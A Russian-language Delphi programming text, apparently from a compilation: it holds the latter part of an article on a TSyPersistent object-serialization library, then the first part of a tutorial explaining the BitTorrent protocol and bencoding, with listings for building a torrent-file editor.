Если нам нужно записать состояние этого объекта в XML-файл, то это будет выглядеть примерно так: ... var Settings: TApplicationSettings; XMLDoc: TSyXmlFile; begin Settings := TApplicationSettings.Create; XmlDoc := TSyXmlFile.Create('Settings.xml', 'AppticationSettings'); try Settings.ShowSplash := True; Settings.SplashTimeout := 2000; Settings.UserProfile := 'user.dat'; // Записываем состояние объекта в файл 'Settings.xml' Settings.SaveToTree(XmlDoc.RootNode); finally XmlDoc.Free; Settings.Free; end; end;

В данном примере мы воспользовались классом TSyXmlFile из модуля SyDocuments.pas. Этот класс предоставляет интерфейс дерева через свойство RootNode и позволяет сохранять состояние в формате XML. Полученный в результате файл будет выглядеть так: <?xml version="1.0" encoding="windows-1251"?> <ApplicationSettings> <ShowSplash>True</ShowSplash> <SplashTimeout>2000</SplashTimeout> <UserProfile>user.dat</UserProfile> </ApplicationSettings>


Вместо класса TSyXmlFile можно было бы использовать, например, класс TSyIniFile уже реализованный в библиотеке (модуль SyDocuments.pas), для сохранения данных в формате ini-файла, или любой свой класс, предоставляющий интерфейс дерева состояния. Вложенные объекты Если опубликованное свойство имеет классовый тип, унаследованный от TSyPersistent, то при записи этого свойства в дерево, оно образует вложенный узел. Таким образом, мы можем делать наши перманентные объекты составными. Рассмотрим еще один пример реализации класса настроек приложения, в котором сгруппируем параметры, управляющие показом сплеш-окна, в отдельный класс: uses SyClasses; ... // Параметры показа сплеш-окна TSplashParams = class(TSyPersistent) private FSplashTimeout: Integer; FShowSplash: Boolean; public constructor Create; override; published property ShowSplash: Boolean read FShowSplash write FShowSplash; property SplashTimeout: Integer read FSplashTimeout write FSplashTimeout; end; // Настройки приложения TApplicationSettings = class(TSyPersistent) private FUserProfile: String; FSplashParams: TSplashParams; procedure SetSplashParams(const Value: TSplashParams); public constructor Create; override; destructor Destroy; override; published property UserProfile: String read FUserProfile write FUserProfile; property SplashParams: TSplashParams read FSplashParams write SetSplashParams; end; ... { TSplashParams } constructor TSplashParams.Create; begin inherited Create; FShowSplash := True; FSplashTimeout := 2000; end;

{ TApplicationSettings } constructor TApplicationSettings.Create; begin inherited Create; FSplashParams := TSplashParams.Create; end; destructor TApplicationSettings.Destroy; begin FSplashParams.Free; inherited Destroy; end;


procedure TApplicationSettings.SetSplashParams(const Value: TSplashParams); begin FSplashParams.Assign(Value); end;

Для разнообразия покажем, как данный класс можно записать в ini-файл: uses SyDocuments; ... var Ini: TSyIniFile; Settings: TApplicationSettings; begin Settings := TApplicationSettings.Create; // Создаем ini-файл с "корневой" секцией 'CommonSettings' Ini := TSyIniFile.Create('Settings.ini', 'CommonSettings'); try Settings.UserProfile := 'user.dat'; // Записываем настройки в корневой узел дерева Settings.SaveToTree(Ini.RootNode); finally Ini.Free; Settings.Free; end; end;

Полученный файл будет выглядеть следующим образом: [CommonSettings] UserProfile=user.dat [SplashParams] ShowSplash=True SplashTimeout=2000 Если бы мы сохранили такой объект в XML с использованием класса TSyXmlFile, получили бы примерно такой файл: <?xml version="1.0" encoding="windows-1251"?> <ApplicationSettings> <SplashParams> <ShowSplash>True</ShowSplash> <SplashTimeout>2000</SplashTimeout> </SplashParams> <UserProfile>user.dat</UserProfile> </ApplicationSettings> Настраиваемая сериализация Как уже было сказано выше, не всегда состояние объекта можно описать только с помощью опубликованных свойств. Иногда удобно определять дополнительные параметры, характеризующие состояние объекта. Как видно из объявления класса TSyPersistent, у него имеются виртуальные методы CustomSerialize и CustomDeSerialize. Эти методы нельзя вызывать напрямую, однако они вызываются автоматически внутри SaveToTree и LoadFromTree соответственно. Параметром этим методам передается узел дерева, куда/откуда производится запись/чтение. В базовом классе эти методы ничего не делают, однако мы можем


перекрыть их в потомках. В реализации этих методов необходимо самостоятельно работать с интерфейсом абстрактного дерева ISyTreeNode. В качестве примера применения настраиваемой сериализации, приведем класс, являющийся надстройкой над TStrings, однако являющегося потомком TSyPersistent. Это означает, что для данного класса будут работать все перечисленные выше методы сериализации, копирования состояния, проверки эквивалентности и клонирования, а также свойство такого типа можно будет объявить опубликованным у другого потомка TSyPersistent, в результате чего, последний будет считать список строк частью своего состояния. uses Classes, SyClasses; TSyStringsAdapter = class(TSyPersistent) private FStrings: TStrings; protected procedure CustomSerialize(const Node: ISyTreeNode); override; procedure CustomDeSerialize(const Node: ISyTreeNode); override; public constructor Create; override; destructor Destroy; override; // Свойство, открывающее доступ к списку строк property Strings: TStrings read FStrings write SetStrings; end; ... constructor TSyStringsAdapter.Create; begin inherited Create; FStrings := TStringList.Create; // Создаем внутренний список, хранящий строки end; procedure TSyStringsAdapter.CustomSerialize(const Node: ISyTreeNode); var i: Integer; begin // Сохраняем каждую строку списка в дерево в виде параметра for i := 0 to FStrings.Count - 1 do Node.AddParam('item', FStrings[i]); end; procedure TSyStringsAdapter.CustomDeSerialize(const Node: ISyTreeNode); var i: Integer; begin FStrings.BeginUpdate; try FStrings.Clear; // Очистка списка перед восстановлением его состояния // Читаем из дерева все параметры и заносим их значения в список for i := 0 to Node.ParamsCount - 1 do if Node.ParamName[i] = 'item' then // На всякий случай FStrings.Add(Node.ParamValue[i]); finally FStrings.EndUpdate; end; end; destructor TSyStringsAdapter.Destroy; begin FStrings.Free; inherited Destroy; end; procedure TSyStringsAdapter.SetStrings(Value: TStrings); begin FStrings.Assign(Value); end;


Несмотря на то, что класс TSyStringsAdapter не имеет опубликованных свойств, его состояния не будет пустым, так как мы вручную определили параметры объекта и формат их записи. Если бы класс имел опубликованные свойства, они также были бы записаны, так как настраиваемая сериализация не отменяет запись свойств, а дополняет ее. Теперь добавим в класс настроек приложения свойство RecentProjects, которое якобы будет хранить список последних открываемых в нашей программе проектов: uses SyClasses; type TApplicationSettings = class(TSyPersistent) private FUserProfile: String; FSplashParams: TSplashParams; FRecentProjects: TSyStringsAdapter; procedure SetSplashParams(const Value: TSplashParams); procedure SetRecentProjects(const Value: TSyStringsAdapter); public constructor Create; override; destructor Destroy; override; published property UserProfile: String read FUserProfile write FUserProfile; property SplashParams: TSplashParams read FSplashParams write SetSplashParams; property RecentProjects: TSyStringsAdapter read FRecentProjects write SetRecentProjects; end; ... constructor TApplicationSettings.Create; begin inherited Create; FSplashParams := TSplashParams.Create; FRecentProjects := TSyStringsAdapter.Create; end; destructor TApplicationSettings.Destroy; begin FRecentProjects.Free; FSplashParams.Free; inherited Destroy; end;

Создадим экземпляр такого класса, заполним его тестовыми параметрами и произведем запись в XML-файл: uses SyDocuments; ... var Settings: TApplicationSettings; XmlDoc: TSyXmlFile; begin Settings := TApplicationSettings.Create; XmlDoc := TSyXmlFile.Create('Settings.xml', 'AppticationSettings'); try Settings.UserProfile := 'user.dat'; Settings.RecentProjects.Strings.Add('MyProject1.prj'); Settings.RecentProjects.Strings.Add('MyProject2.prj'); // Записываем состояние объекта в файл 'Settings.xml' Settings.SaveToTree(XmlDoc.RootNode); finally


XmlDoc.Free; Settings.Free; end; end;

Файл получился таким: <?xml version="1.0" encoding="windows-1251"?> <ApplicationSettings> <SplashParams> <ShowSplash>True</ShowSplash> <SplashTimeout>2000</SplashTimeout> </SplashParams> <RecentProjects> <item>MyProject1.prj</item> <item>MyProject2.prj</item> </RecentProjects> <UserProfile>user.dat</UserProfile> </ApplicationSettings> Класс TSyCollection Класс TSyCollection является контейнером объектов-потомков TSyPersistent, и сам в свою очередь является прямым потомком данного класса, что позволяет объявлять опубликованные свойства типа TSyCollection, которые будут записаны в поток. TSyCollection = class(TSyPersistent) ... protected procedure CustomSerialize(const Node: ISyTreeNode); override; procedure CustomDeSerialize(const Node: ISyTreeNode); override; public constructor Create; override; destructor Destroy; override; // Методы управления содержимым коллекции function Add(AObject: TSyPersistent): Integer; procedure Delete(Index: Integer); procedure Clear; // Свойства property Items[Index: Integer]: TSyPersistent read Get write Put; default; property Count: Integer read FCount; property Capacity: Integer read GetCapacity write SetCapacity; end; Для управления содержимым коллекции доступны методы Add, Delete и Clear. Доступ к элементам осуществляется через индексированное свойство Items. При записи коллекции в поток записываются состояния всех ее элементов, а также их классы, что позволяет при чтении коллекции полностью воссоздать ее объекты. Вот некоторые особенности класса TSyCollection:


• • •

Коллекция может содержать разнотипные элементы. Коллекция владеет своими элементами — это значит, что при добавлении объекта в коллекцию, заботиться о его уничтожении не нужно. Объект будет уничтожен автоматически при удалении из коллекции или при уничтожении последней. Классы объектов, помещаемых в коллекцию, должны быть зарегистрированы под некоторым строковым именем в специальном реестре классов с помощью процедуры SyClasses.RegisterClass. Это необходимо из-за того, что коллекция может содержать разнотипные элементы, а следовательно, при записи элемента необходимо каким-либо образом записать его тип, и наоборот — при чтении коллекции по строковому идентификатору типа создать соответствующий данному типу элемент. Регистрацию необходимо произвести до первого чтения/записи коллекции. Рекомендуется делать это в секции initialization того модуля, в котором классы-элементы объявлены.

Приведем пример работы с классом TSyCollection на примере контейнера геометрических фигур: uses SyClasses; type // Класс, описывающий окружность TCircle = class(TSyPersistent) public constructor Create(AX, AY, AR: Integer); published property X: Integer read FX write FX; property Y: Integer read FY write FX; property R: Integer read FR write FR; end; // Класс, описывающий прямоугольник TRectangle = class(TSyPersistent) public constructor Create(ALeft, ATop, ARight, ABottom: Integer); published property Left: Integer read FLeft write FLeft; property Top: Integer read FTop write FTop; property Right: Integer read FRight write FRight; property Bottom: Integer read FBottom write FBottom; end; ... initialization // Регистрируем классы-элементы коллекции SyClasses.RegisterClass(TCircle, 'Circle'); SyClasses.RegisterClass(TRectangle, 'Rectangle'); end;

Теперь создадим коллекцию, заполним ее объектами и сохраним в файл: uses SyDocuments; ... var Items: TSyCollection; XmlDoc: TSyXmlFile; begin // Создаем коллекцию Items := TSyCollection.Create; XmlDoc := TSyXmlFile.Create('Shapes.xml', 'Shapes');


try // Заполняем ее элементами Items.Add(TCircle.Create(15, 20, 10)); Items.Add(TRectangle.Create(12, 12, 20, 25)); Items.Add(TCircle.Create(5, 10, 8)); // Сохраняем коллекцию в файл Items.SaveToTree(XmlDoc.RootNode); finally XmlDoc.Free; Items.Free; end; end;

Полученный файл выглядит следующим образом: <?xml version="1.0" encoding="windows-1251"?> <Shapes> <Circle> <X>15</X> <Y>20</Y> <R>10</R> </Circle> <Rectangle> <Left>12</Left> <Top>12</Top> <Right>20</Right> <Bottom>25</Bottom> </Rectangle> <Circle> <X>5</X> <Y>10</Y> <R>8</R> </Circle> </Shapes> В данном примере мы непосредственно создали экземпляр класса коллекции и записали его состояние в файл, однако часто возникает необходимость не в самостоятельных коллекциях, а в использовании их в качестве части состояния другого объекта. Так, к примеру, наша коллекция могла быть частью документа для какого-либо редактора векторных изображений, и этот документ кроме непосредственно списка фигур мог содержать дополнительные параметры, такие как формат листа бумаги, описание, сведения об авторе и т.д. В этом случае достаточно объявить у класса-документа опубликованное свойство типа TSyCollection и оно успешно будет записано в поток вместе с остальными его частями. Управление состоянием Бывают случаи, когда для различных операций состояние объекта должны отражать различные сущности. Представим, что у нас имеется некий класс, содержащий свойство Description: String, которое должно записываться в поток при сериализации объекта, но не должно учитываться при сравнении объектов на эквивалентность. Для решения данной задачи можно воспользоваться директивой stored, которая позволяет во время выполнения делать вывод о том, является ли свойство частью состояния объекта на данный момент или нет. После этой директивы можно указать на функцию, возвращающую Boolean,


которая будет вызвана перед записью свойства. Если функция вернет False, свойство записано не будет. Поставленная задача сводится к написанию такой функции, которая вернет False в случае если на данный момент объект сравнивается с другим. Сделать это можно, используя свойство State класса TSyPersistent. type TSyPersistState = set of (psSaving, psLoading, psAssigning, psAssigned, psComparing); TSyPersistent = class(TSyObject) ... protected ... property State: TSyPersistState read FState write FState; end; Свойство представляет собой множество, в которое могут входить следующие значения: • • • • •

psSaving — устанавливается на время записи состояния объекта в дерево. psLoading — устанавливается на время чтения состояния объекта из дерева. psAssigning — устанавливается на время, когда объекту копируется состояние другого объекта. psAssigned — устанавливается на время, когда объект копирует свое состояние другому объекту. psComparing — устанавливается объектам на время сравнения на эквивалентность.

Воспользуемся этим свойством: type TSomeObject = class(TSyPersistent) private FDescription: Boolean; function IsNotComparing: Boolean; published // Свойство разрешается записывать в дерево состояния только в том случае, // если в данный момент не идет сравнение на эквивалентность property Description: String read FDescription write FDescription stored IsNotComparing; end; ... function TSomeObject.IsNotComparing: Boolean; begin Result := not (psComparing in State); end; Перед записью свойства в дерево состояния сначала будет автоматически вызван метод IsNotComparing, и если он вернет False, то свойство записано не будет. А произойдет это только в том случае, если запись состояния в дерево было инициировано вызовом метода Equals.


Ограничения В заключение, хотелось бы рассказать о некоторых ограничениях, которые имеет как сам продемонстрированный подход в целом, так и данная конкретная его реализация. Быстродействие. Следует иметь в виду, что цена, которую мы платим при получении возможности подобным образом оперировать над состоянием объекта — это снижение быстродействия. Код, выполняющий те же действия по сериализации, копирования или проверки эквивалентности, но делающий это непосредственно, а не обращающийся к RTTI, и тем более, не использующий всякие промежуточные сущности, вроде дерева состояния, всегда будет работать быстрее. Однако понятно, что в этом случае мы потеряем возможность написать такой код раз и навсегда. Чаще всего потери по быстродействию не критичны, но если скорость выполнения при использовании описанного подхода не устраивает, то от него необходимо отказаться. Так как класс TSyPersistent не является потомком TPersistent, то приведенные принципы не совместимы с используемыми для классов TPersistent и TComponent. Вы не сможете комбинировать эти подходы в рамках одного класса, однако частично совместить их можно с помощью классов-адаптеров, один из возможных примеров которого был приведен в статье (TSyStringsAdapter). В данной версии библиотеки не все типы свойств, которые могут быть объявлены опубликованными, поддерживаются. В частности, классовые свойства будут записаны в дерево только в том случае, если тип свойства является потомком TSyPersistent, а свойства-методы, которые, как правило, используются для назначения обработчиков событий, не учитываются при формировании дерева состояния вовсе. Мне показалось, что раз речь не идет о визуальном проектировании, то свойства-методы не нужны вовсе. Заключение Данная статья задумывалась как своего рода замена более ранней моей статьи — "Упрощаем работу с потоками". С течением времени у меня сформировался несколько другой взгляд на поставленную проблему, который в данной статье я и постарался изложить. Основная идея — высокая степень гибкости и абстрагирования. Также хотел бы высказать слова искренней благодарности людям, помогавшим мне в подготовке данного материала — это Роман Игнатьев (Romkin) и Александр Шабля (Shabal). Большое Вам Спасибо за критику и поддержку!

Written by Юрий Спектор E-Mail: Первоночальный источник статьи: www.delphikingdom.com


Кодим BitTorrent-клиент. Часть первая Тебе не надоело сливать файлы с файлообменников типа rapidshare.com, sendspace.com, depositfiles.com и др? Разработчики подобных сервисов накладывают всевозможные ограничения и быстренько слить пару гиг ну никак не получится. К счастью, есть хорошая альтернатива: Bittorent трекеры. Сливать громадные файлы по протоколу bittorent гораздо приятней, а самое главное быстрей. Сегодня мы попробуем расжевать этот протокол и написать свой продвинутый клиент. Теория Как обычно, перед тем как ринуться в бой, тщательно продумаем стратегию и разберемся с теорией. «Bittorent» – протокол для сетей типа p2p и предназначен для передачи больших файлов по сети. Первая версия этого протокола появилась в 2001 году. К настоящему времени протокол стал очень популярным и является стандартом для быстрого распространения файлов. Популярным его сделали ряд особенностей: 1. Отсутствие очередей. Закачка файлов начинается сразу и без каких-либо ограничений, присущих таким сетям как edonkey. 2. Не требуется постоянное функционирование сервера – трекера. По сути, клиенту достаточно всего один раз подключиться к серверу, чтобы получить информацию о пирах (клиенты, которые занимаются непосредственно раздачей файлов), после чего можно спокойно скачивать файл. 3. Закачка любого файла производится по частям, тем самым существенно увеличивается скорость закачки, ведь постоянное присутствие сида (обладателя всех частей файла) не является обязательным. В случае его отсутствия (сида) будет происходить обмен частей между пирами. 4. Скорость закачки ограничена только шириной канала раздающего. Соответственно чем больше клиентов, которые раздают файл, тем более быстрей ты сможешь его скачать. Это далеко не единственные плюсы протокола BitTorrent, но этих должно хватить, чтобы окончательно забыть про всяких ослов и rapid. Общаемся по понятиям Для успешного понимания остальной части статьи необходимо разобраться с терминами, знать которые должен любой пользователь сделавший выбор в пользу BitTorrent, а программист, решивший закодить клиент своими руками и подавно. Начнем с самых основных. Трекер (tracker) – сервер, на котором хранятся IP адреса участников раздачи, рейтинг участников и хэши файлов. Главная задача трекера – предоставить возможность клиентам найти друг друга. Пир (peer) – клиент участвующий в раздаче. Как правило, пиру присуще два состояния – закачка и отдача уже скачанных частей файла.


Сид (seed) – пир, который уже скачал полностью весь файл и располагает всеми его сегментами. Чтобы стать сидом, не обязательно скачивать какой-либо файл, можно просто начать раздачу своего добра. Личер - Пиявка (leech) – пир у которого еще нет всех частей файла, но он продолжает закачку. В большинстве случаев, этот термин используется в негативном смысле. Им называют клиентов, которые скачивают больше, чем отдают. Толпа/Рой (swarm) – все пиры, участвующие в раздаче. Рейтинг (share ratio) – соотношение отданного и скаченного. Рейтинг необходим в первую очередь для пополнения контента. Работает по следующему принципу: скачивая файл ты уменьшаешь свой рейтинг, а отдавая файл – наоборот, увеличиваешь. Клиент с маленьким рейтингом рискует быть забаненным и имеет меньше возможностей (например, отсутствие возможности одновременной закачки нескольких торрентов), чем клиент с более высоким. Анонс (Announce) – отправка информации на сервер. В качестве отправителя выступает клиент, а в качестве информации – соотношение скачанного и отданного. Получив эти данные, трекер передает клиенту IP адреса других клиентов. Анонс URL (Announce URL) – адрес трекера. Именно по этому адресу и происходит отправка информации. Торрент/торрент-файл (torrent) – файл метаданных, в котором содержится информация о принимаемых/раздаваемых файлах, количестве сегментов и их хэшей. Подробнее о структуре этого файла мы погорим позже. Как все это работает С основными понятиями мы разобрались, а значит пора переходить к более детальному рассмотрению протокола Bittorent. Перед тем как приступить к закачке/раздаче файлов необходимо скачать необходимый торрент-файл. Как правило, торренты достаются с всевозможных форумов, вроде torrents.ru или через специальные поисковые системы вроде piratebay.org. Скачав торрент файл, его необходимо скормить торрент клиенту. Далее все просто: клиент соединяется с трекером (анонс url хранится в торрент-файле), сообщает ему свой IP и хэш необходимого файла, в ответ сервер отправляет адреса пиров/сидов участвующих в раздаче этого файла. После этого, необходимость в трекере на некоторое время исчезает. Ты качаешь и обмениваешься с другими пирами. Обмен с другими пирами выглядит так: ты посылаешь запрос на закачку сегмента нужного файла определенному пиру, если он не против и в состоянии поделится этим кусочком, то он дает тебе добро и начинается процесс закачки. Скачав сегмент, тебе необходимо оповестить всех остальных пиров о наличии в твоем распоряжении нового кусочка (чтобы другие пиры знали у кого его качать). Далее все повторяется. Причем повторяется с шага, где тебе необходимо соединиться с сервером и получить информацию о других пирах. Закончив закачку всего файла, ты получаешь статус сида. На рисунке два приведена схема, демонстрирующая процесс работы по протоколу BitTorrent.


Рисунок 1 (Главное окно популярного клиента uTorrent)

Рисунок 2 (Принцип работы протокола BitTorrent) Структура торрент файла


В файле метаданных (торрент файле), как я уже и говорил, находится вся информация по файлу (ам), участвующему в раздаче. Без этого файла, по протоколу Bittorent скачать ничего не удастся. В общем виде, структуру файла метаданных можно разделить на три составляющие (Таблица 1). Название уровня 1. Заголовок 2. Информация о файлах 3. Сведения о сегментах

Описание В заголовке содержится анонс URL, дате создания torrent-файла, кодировке файла, название программы в которой был построен файл, комментарии создателя, и т.д. В этом блоке содержатся все названия и размеры файлов, которые можно получить с помощью данного торрент-файла. В блоке указано количество сегментов и их SHA1 хэш суммы. Таблица 1 (Структура torrent файла)

Внутренности torrent файла – это bencoding данные. Формат файла позволяет хранить следующие типы данных: байт-строки, числа, списки и дерективы. На рисунке 3, ты можешь увидеть открытый в FAR’е торрент-файл.

Рисунок 3 (Кишки торрент-файла) На первый взгляд, на рисунке показана просто «каша» непонятных данных и сразу возникает чувство, что все сложно и запутанно. На самом деле страшного и сложного ничего нет, и сейчас ты в этом убедишься. Давай попробуем рассмотреть примеры записи bencoding-данных. Начнем мы рассматривать правила записи строк. В общем виде формат записи строковых данных выглядит так: СТРОКИ <длина строки>:<строка>. Пример: 5:xakep ЧИСЛА


<ключ i><число><ключ e>. Пример: i31337e СПИСКИ <ключ l><bencoding данные><ключ e>. Пример: l5:xakep5:lamere ДИРЕКТИВЫ <ключ d><строка bencoding><элемент bencoding><ключ e>. Пример: d5:coder6:spidere (Coder => spider) В спецификации структуры файла метаданных, есть несколько предопределенных директив: •

• • • • •

info – директива для описания свойств файлов . В зависимости от типа торрентфайла (обычный – один файл или смешанный – несколько файлов) эта директива применяется по-разному. В директиву входят: «piece length» - длина сегмента файла, pieces – хэш сумма сегмента, полученная по алгоритму SHA1. Разницу применения данной директивы для обычного режима и смешенного смотри в таблице 2. announce – анонс URL announce list – список, содержащий несколько announce URL create date – дата создания torrent файла в формате Unix-time comment – комментарий от создателя торрент-файла created by – название и версия программы, в которой был создан torrent-файл.

Обычный (Single file mode). Список значений name – имя файла length – размер файла

Смешанный (Multi file mode). Список значений name – имя torrent-файла files – список файлов. В директиве может использоваться несколько поддеректив: length (размер файла), md5sum (хеш), path (путь к файлу).

md5sum – хэш сумма файла, полученная по алгоритму MD5 Таблица 2 (Особенности использования директивы info) Практика Мы уже рассмотрели достаточно теории и уже пора бы что-нибудь накодить. К сожалению, рассмотреть написание всего Bittorent клиента в рамках одной статьи невозможно, поэтому сегодня мы напишем первую часть – редактор torrent-файлов. Итак, приступим к делу. Запускай Delphi и создавай новый проект. Дизайн своей формы подгони под мой (рисунок 4-5).


Рисунок 4 (Форма будущей программы. Закладка 1)

Рисунок 5 (Форма будущей программы. Закладка 2)


По всей форме у меня растянут компонент TPageControl с двумя созданными закладками. На первой («Содержимое torrent») расположен компонент TListView. В этом компоненте мы будем хранить название и размеры файлов, которые в последствии будем добавлять в торрент. Для удобства отображения, я установил у TListview свойство ViewStyle в vsReport и создал три колонки: файл, размер, путь. На второй закладке я разместил восемь компонентов TEdit, один TMemo и одну копию TDateTimePicker. В этих компонентах мы будем выводить различную информацию, выдернутую из torrent-файла. Для комфортного отображения даты создания торрентфайла, я воспользовался компонентов TDateTimePicker. Используя этот компонент, мы избавим себя от лишних преобразований полученной даты. Центр управления нашей программой будет находиться на панели инструментов. На ней я создал пять кнопок: • • • • •

OpenTorrentBtn – кнопка для открытия torrent-файла. SaveTorrentBtn – пимпа для создания нового торента. NewBtn – служит для очистки все элементов формы. AddFileBtn – кнопка для добавления нового файла в torrent. DelFileBtn – кнопка для удаления файла из торрента.

На этом с дизайном формы пора заканчивать и переходить к самому захватывающему и увлекательному процессу – кодингу. Как я уже сказал, сегодня я покажу тебе, как можно читать и создавать торрент-файлы. Переходи в редактор кода и сразу объяви новую структуру: type TPieces = record _hash : string; _hashBin: string; end; Данную структуру (или как правильно говорить Delphi-программисту – записи) мы будем хранить информацию по каждому сегменту файла. В _hash будем записывать 20 байтную хэш сумму, рассчитанную по алгоритму SHA1, а в _hashBin – бинарный вариант этого же значения. В разделе «private» класса нашей формы, объяви процедуру CreateTorrent (fs:TFileStream; multifile:Boolean);. Этим методом (процедурой) мы будем создавать новый торрент-файл. В качестве параметров в процедуру будут передаваться fs – переменная типа TFIleStream (файловый поток для создания торрент-файла) и булевское значение (multifile), определяющее тип будущего торрент-файла (обычный или смешанный). Нажимай ctrl+shift+с и Delphi создаст, заготовку процедуры. Перепиши в нее код из листинга 1.


Рисунок 6 (Разработка в самом разгаре) Листинг 1: Создание торрент-файла procedure TForm1.CreateTorrent(fs:TFileStream; multifile:boolean); procedure WriteBuff(buff:string); begin fs.WriteBuffer(buff[1], length(buff)); end; procedure WriteStr (s:string); begin WriteBuff(IntToStr(length(s))+':'+s); end; procedure WriteInt (int:int64); begin WriteBuff('i'); WriteBuff(IntToStr(int)); WriteBuff('e'); end; VAR i:integer; _pieceLength:Integer; BEGIN WriteBuff('d'); WriteStr('announce'); WriteStr(AnnounceUrlEdit.Text); If (CommentsMemo.Text <> '') Then begin WriteStr('comment'); WriteStr(CommentsMemo.Text); end; If (ProgNameEdit.Text <> '') Then begin WriteStr('created by'); WriteStr(ProgNameEdit.Text);


end; WriteStr('creation date'); WriteInt(WinTimeToUnixTime(DateCreate.DateTime)); If (EncodingEdit.Text <> '') Then begin WriteStr('encoding'); WriteStr(EncodingEdit.Text); end; WriteStr('info'); WriteBuff('d'); If (MultiFile) Then begin WriteStr('files'); WriteBuff('l'); for i:=0 to ListView1.Items.Count-1 Do with listView1.Items.Item[i] do begin WriteBuff('d'); WriteStr('length'); WriteInt(StrToInt(SubItems.Strings[0])); WriteStr('path'); WriteBuff('l'); WriteStr(ExtractFileName(SubItems.Strings[1])); WriteBuff('e'); WriteBuff('e'); end; WriteBuff('e'); end else begin WriteStr('length'); WriteInt(StrToInt(ListView1.Items.Item[0].SubItems.Strings[0])); end; WriteStr('name'); WriteStr(NameEdit.Text); _pieceLength := 65536; WriteStr('piece length'); WriteInt(_pieceLength); WriteStr('pieces'); GetPieces(_pieceLength); WriteBuff(IntToStr((high(pieces)+1)*20)); WriteBuff(':'); for i:=0 to High(pieces) Do WriteBuff(pieces[i]._hashBin); WriteBuff('e'); WriteBuff('e'); Fs.Free; ShowMessage('Torrent файл создан!'); END;

Перебивая листинг, не забывай возвращаться к тексту статьи и читать мои комментарии. Ведь просто переписав листинг, ты не превратишься в крутого кодера, а станешь лишь больше похож на обезьяну, которая только и умеет, что повторять за кем-либо.


Первым делом посмотри на самое начало процедуры. Вместо привычных ключевых слов VAR/Begin у меня идет объявление нескольких локальных процедур. Использование такого подхода несколько ухудшает читабельность кода, но в некоторых случаях предоставляет дополнительные удобства. Наш случай, таковым и является. Давай взглянем на каждую процедуры в отдельности. Procedure WriteBuff(buff:string) – процедура записывает в файловый поток первый символ из переданной в качестве параметре строкой переменной buff. Если ты внимательно читал теорию, то уже должен был догадаться, что использовать эту процедуры мы будем для записи «ключей» bencoding-данных. Процедуры WriteStr() и WriteInt() имеют аналогичное предназначение, и будут использоваться для записи строк (WriteStr()) и чисел (WriteInt()). Разобравшись с локальными процедурами, можно двигаться дальше, а дальше будет много интересного. Сейчас на секундочку отвлекись от текста статьи и посмотри на таблицу №1, в которой я определил уровни структуры torrent-файла. Первым уровнем идет – «Заголовок», а значит, самым первым шагом в нашей процедуре будет формирование заголовка будущего торрент-файла. Формирование заголовка я начинаю с записи ключа – d, а затем по очереди записываю имена элементов (так называемы директивы) и их значения, которые мы будем вводить в компонентах TEdit, расположенных на второй закладке. Запись всех элементов однообразна и я думаю, все должно быть понятным. Хотя нет, процесс записи времени создания торрента, стоит рассмотреть подробней. Как я уже говорил в теоретической части статьи, время создания торрент-файла должно храниться в формате Unix-time. К сожалению, в Delphi, среди стандартных функций нет той, которая могла бы конвертировать время в Unix-time и обратно. Следовательно, подобную функцию придется писать самому. К счастью эта задачка не является новой, поэтому во всемирной паутинке легко найти примеры кода, реализующее данное конвертирование. Вариантов подобных функций много, но мне больше всех нравится этот: function TForm1.WinTimeToUnixTime(winTime: TDateTime): Integer; var FileTime: TFileTime; SystemTime: TSystemTime; I: Integer; begin DateTimeToSystemTime(WinTime, SystemTime); SystemTimeToFileTime(SystemTime, FileTime); I := Integer(FileTime.dwHighDateTime) shl 32 + FileTime.dwLowDateTime; Result := (I - 116444736000000000) div Int64(10000000); end;

Код функции выполняющей обратную трансформацию времени смотри в исходнике, который дожидается тебя на нашем DVD. После записи в файл основных директив, начинается процесс описания файлов (запись директивы info). Вот тут перед нами появляется выбор: если мы создаем торрент с типом смешанный (multiFile), то тогда нам необходимо запустить цикл и пробежаться по всему списку выбранных файлов и записать в torrent размеры/пути для каждого файла. В качестве путей (директива path) указывается не тот путь, по которому хранится файл на диске, а тот, который определяет местоположения файла относительно торрента. Например, формат файла метаданных (торрент) позволяет добавлять как файлы так и директории. Предположим, что пользователь выбрал один файл и одну директорию с несколькими файлами. И тут сразу возникает вопрос, а как записать файлы, которые находятся в директории? Вот в таких


случаях и приходится использовать директиву path. В своем примере я не реализовал возможность добавки отдельной директории, но в реальном приложении, ты обязательно должен это учесть этот нюанс. Если мы создаем торрент, в котором будет определен лишь один файл (такие торрентфайлы еще называют классическими), то все, что от нас требуется – записать размер файла (указывается с помощью директивы length) и само имя файла. Записав в torrent всю необходимую информацию о файлах, которые мы собираемся раздавать, обязательно нужно разбить все файлы на сегменты определенного размера и посчитать их хэш суммы. В своем примере размер сегмента я задал жестко – в коде. Он у меня равен 65536 байтам или 64 килобайтам. Если будешь писать полноценную программу для создания торрент файлов, то ты должен обязательно предоставлять пользователю самостоятельного права выбора размера сегмента, т.к. этот размер задается не от балды (как у меня в примере =), а относительно общему размеру файлов, для которых мы создаем торрент. Для разбиения файла по сегментам и получение хэшей, я создал еще одну процедуру – GetPieces(). Ее содержимое ты можешь увидеть в листинге №2. После выполнения данной процедуры, массив pieces заполнится элементами типа TPieces, содержащие посчитанные хэш суммы сегментов файлов. Листинг 2 var _sha1 : TSHA1; _data : Integer; _buff : pchar; _pieceCount:Integer; _file : TFileStream; _hashBinStr : string; _p : Pointer; _PieceSize:integer; i:integer; begin _pieceSize := pieceLength; _sha1 := TSHA1.Create; _pieceCount := 0; GetMem(_Buff, pieceLength); pieces := nil; for i:=0 to listView1.Items.Count-1 do begin _file := TFileStream.Create(ListView1.Items.Item[i].SubItems[1], fmOpenRead); _file.Seek(0, soFromBeginning); repeat _data := _file.Read(_buff^, _pieceSize); _sha1.Transform(_buff^, _data); If (_data = _pieceSize) or ((_file.Position = _file.Size) and (i = ListView1.Items.Count-1)) Then begin _sha1.Complete; _p := _sha1.HashValueBytes; SetLength(_hashBinStr, 20); move(_p^,_hashBinStr[1],20); inc(_pieceCount); SetLength(pieces, _pieceCount); pieces[_pieceCount-1]._hash := lowercase(_sha1.HashValue); pieces[_pieceCount-1]._hashBin := _hashBinStr; _Sha1.Clear; _pieceSize := pieceLength; end;


Until (_file.Position = _file.Size); Dec(_pieceSize, _data); _file.Free; end; end;

